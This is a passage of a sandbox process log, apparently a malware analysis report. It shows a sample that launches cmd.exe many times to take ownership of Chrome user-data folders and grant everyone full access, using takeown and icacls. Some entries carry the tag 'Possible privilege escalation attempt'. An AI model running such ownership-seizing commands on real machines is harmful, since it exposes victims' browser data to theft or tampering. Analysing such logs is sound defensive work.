- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage
    3⤵
    PID:1020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary /grant everyone:(f)
  2⤵
  PID:2916
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary
    3⤵
    PID:4052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary\cache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary\cache /grant everyone:(f)
  2⤵
  PID:2392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary\cache
    3⤵
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary\cache\index-dir && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary\cache\index-dir /grant everyone:(f)
  2⤵
  PID:4788
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Shared Dictionary\cache\index-dir
    3⤵
    PID:3708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data /grant everyone:(f)
  2⤵
  PID:3360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data
    3⤵
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB /grant everyone:(f)
  2⤵
  PID:3024
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
    3⤵
    PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications /grant everyone:(f)
  2⤵
  PID:3088
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications
    3⤵
    PID:2092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources /grant everyone:(f)
  2⤵
  PID:4436
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources
    3⤵
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak /grant everyone:(f)
  2⤵
  PID:1664
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons /grant everyone:(f)
  2⤵
  PID:4308
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons
    3⤵
    PID:1132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable /grant everyone:(f)
  2⤵
  PID:3996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable
    3⤵
    PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:2576
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Monochrome
    3⤵
    PID:4288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml /grant everyone:(f)
  2⤵
  PID:1068
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml
    3⤵
    PID:3860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons /grant everyone:(f)
  2⤵
  PID:3320
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons
    3⤵
    PID:3732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable /grant everyone:(f)
  2⤵
  PID:4416
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Maskable
    3⤵
    PID:2608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:1828
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons Monochrome
    3⤵
    PID:4624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf /grant everyone:(f)
  2⤵
  PID:2392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf
    3⤵
    PID:3632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons /grant everyone:(f)
  2⤵
  PID:1940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons
    3⤵
    PID:4412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable /grant everyone:(f)
  2⤵
  PID:2532
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Maskable
    3⤵
    PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:3704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons Monochrome
    3⤵
    PID:3088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm /grant everyone:(f)
  2⤵
  PID:4940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm
    3⤵
    PID:1104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons /grant everyone:(f)
  2⤵
  PID:3208
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable /grant everyone:(f)
  2⤵
  PID:2040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Maskable
    3⤵
    PID:3176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:1376
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome
    3⤵
    PID:3916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag /grant everyone:(f)
  2⤵
  PID:1064
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag
    3⤵
    PID:3796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons /grant everyone:(f)
  2⤵
  PID:1200
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons
    3⤵
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable /grant everyone:(f)
  2⤵
  PID:2396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:3080
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Monochrome
    3⤵
    PID:3736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb /grant everyone:(f)
  2⤵
  PID:4068
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb
    3⤵
    PID:3580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons /grant everyone:(f)
  2⤵
  PID:4240
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons
    3⤵
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable /grant everyone:(f)
  2⤵
  PID:1940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Maskable
    3⤵
    PID:3384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome /grant everyone:(f)
  2⤵
  PID:2532
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome
    3⤵
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp /grant everyone:(f)
  2⤵
  PID:1508
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp
    3⤵
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage /grant everyone:(f)
  2⤵
  PID:2832
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage
    3⤵
    PID:4744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FileTypePolicies && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FileTypePolicies /grant everyone:(f)
  2⤵
  PID:4888
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FileTypePolicies
    3⤵
    PID:1132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded /grant everyone:(f)
  2⤵
  PID:2312
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded
    3⤵
    PID:4084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache /grant everyone:(f)
  2⤵
  PID:3996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache
    3⤵
    - Modifies file permissions
    PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache /grant everyone:(f)
  2⤵
  PID:3036
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\GrShaderCache
    3⤵
    PID:4484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\hyphen-data && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\hyphen-data /grant everyone:(f)
  2⤵
  PID:1396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\hyphen-data
    3⤵
    PID:3320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MediaFoundationWidevineCdm && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MediaFoundationWidevineCdm /grant everyone:(f)
  2⤵
  PID:4460
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MediaFoundationWidevineCdm
    3⤵
    PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MediaFoundationWidevineCdm\x64 && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MediaFoundationWidevineCdm\x64 /grant everyone:(f)
  2⤵
  PID:3080
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MediaFoundationWidevineCdm\x64
    3⤵
    PID:4316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MEIPreload && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MEIPreload /grant everyone:(f)
  2⤵
  PID:1128
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\MEIPreload
    3⤵
    - Possible privilege escalation attempt
    PID:4624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel /grant everyone:(f)
  2⤵
  PID:3192
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OnDeviceHeadSuggestModel
    3⤵
    PID:644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OptimizationHints && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OptimizationHints /grant everyone:(f)
  2⤵
  PID:4928
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OptimizationHints
    3⤵
    PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OriginTrials && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OriginTrials /grant everyone:(f)
  2⤵
  PID:3516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\OriginTrials
    3⤵
    PID:2684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\PKIMetadata && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\PKIMetadata /grant everyone:(f)
  2⤵
  PID:3704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\PKIMetadata
    3⤵
    PID:4852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\PrivacySandboxAttestationsPreloaded && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\PrivacySandboxAttestationsPreloaded /grant everyone:(f)
  2⤵
  PID:4940
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\PrivacySandboxAttestationsPreloaded
    3⤵
    - Modifies file permissions
    PID:1840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\RecoveryImproved && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\RecoveryImproved /grant everyone:(f)
  2⤵
  PID:3548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\RecoveryImproved
    3⤵
    PID:4340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SafetyTips && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SafetyTips /grant everyone:(f)
  2⤵
  PID:3916
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SafetyTips
    3⤵
    PID:312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\segmentation_platform && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\segmentation_platform /grant everyone:(f)
  2⤵
  PID:4360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\segmentation_platform
    3⤵
    PID:5000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache /grant everyone:(f)
  2⤵
  PID:4616
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant /grant everyone:(f)
  2⤵
  PID:1068
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant
    3⤵
    PID:4376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter /grant everyone:(f)
  2⤵
  PID:1984
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter
    3⤵
    PID:1516
- C:\Windows\System32\cmd.exe
